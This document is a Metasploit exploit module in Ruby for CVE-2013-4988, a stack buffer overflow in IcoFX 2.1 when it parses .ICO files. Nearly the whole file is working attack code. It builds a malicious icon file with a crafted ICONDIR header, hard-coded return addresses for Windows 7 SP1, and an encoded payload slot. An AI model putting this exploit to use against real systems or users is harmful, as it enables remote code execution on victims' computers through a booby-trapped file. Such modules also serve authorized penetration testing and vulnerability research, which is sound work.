|
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit:: FILEFORMAT
def initialize(info = {})
super (update_info(info,
'Name' => 'IcoFX Stack Buffer Overflow' ,
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in version 2 . 1
of IcoFX. The vulnerability exists while parsing . ICO files, where an specially
crafted ICONDIR header, providing an arbitrary long number of images into the file,
can be used to trigger the overflow when reading the ICONDIRENTRY structures.
},
'License' => MSF_LICENSE ,
'Author' =>
[
'Marcos Accossatto' ,
'juan vazquez'
],
'References' =>
[
[ 'CVE' , '2013-4988' ],
[ 'OSVDB' , '100826' ],
[ 'BID' , '64221' ],
[ 'EDB' , '30208' ],
],
'Platform' => [ 'win' ],
'Payload' =>
{
'DisableNops' => true ,
'Space' => 864 ,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
},
'Targets' =>
[
[ 'IcoFX 2.5 / Windows 7 SP1' ,
{
:callback => :target_win7 ,
}
],
],
'DisclosureDate' => 'Dec 10 2013' ,
'DefaultTarget' => 0 ))
register_options(
[
OptString. new ( 'FILENAME' , [ true , 'The output file name.' , 'msf.ico' ])
], self . class )
end
def target_win7
ico = [ 0 ].pack( "v" )
ico << [ 1 ].pack( "v" )
ico << [0x7f00].pack( "v" )
ico << rand_text( 652 )
ico << [0x0044729d].pack( "V" ) * 20
ico << [0x0045cc21].pack( "V" )
ico << payload.encoded
ico << rand_text(
1600 -
652 -
80 -
4 -
payload.encoded.length
)
ico << [ 2 ].pack( "V" )
ico << rand_text( 8 )
ico << [0xfffffffe].pack( "V" )
ico << [0x00447296].pack( "V" )
ico << rand_text(0xc)
return ico
end
def exploit
unless self .respond_to?(target[ :callback ])
fail_with(Failure::BadConfig, "Invalid target specified: no callback function defined" )
end
ico = self .send(target[ :callback ])
print_status( "Creating '#{datastore['FILENAME']}' file..." )
file_create(ico)
end
end
|